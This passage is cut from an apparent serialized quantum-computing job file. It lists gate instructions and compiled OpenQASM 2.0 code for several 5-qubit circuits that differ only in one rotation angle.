q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1197', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.500000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.6000000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1199', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.600000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.7000000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1201', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.700000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.8, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1203', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier 